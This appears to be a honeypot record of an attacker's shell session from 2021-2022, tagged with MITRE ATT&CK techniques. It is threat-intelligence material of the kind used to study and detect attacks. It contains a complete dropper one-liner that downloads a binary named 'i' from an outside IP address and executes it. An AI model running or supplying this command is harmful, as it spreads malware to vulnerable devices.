Honeypot attack session (period 2021_2022), commands issued:
start
enable
config terminal
system
linuxshell
su
shell
sh
cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'
/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'
cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://27.40.78.17:35554/i; curl -O http://27.40.78.17:35554/i; /bin/busybox wget http://27.40.78.17:35554/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'

MITRE ATT&CK techniques observed:
T1059 Command and Scripting Interpreter
T1548 Abuse Elevation Control Mechanism
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1027 Obfuscated Files or Information
T1083 File and Directory Discovery
T1027 Obfuscated Files or Information
T1083 File and Directory Discovery
T1070 Indicator Removal
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1222 File and Directory Permissions Modification
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1070 Indicator Removal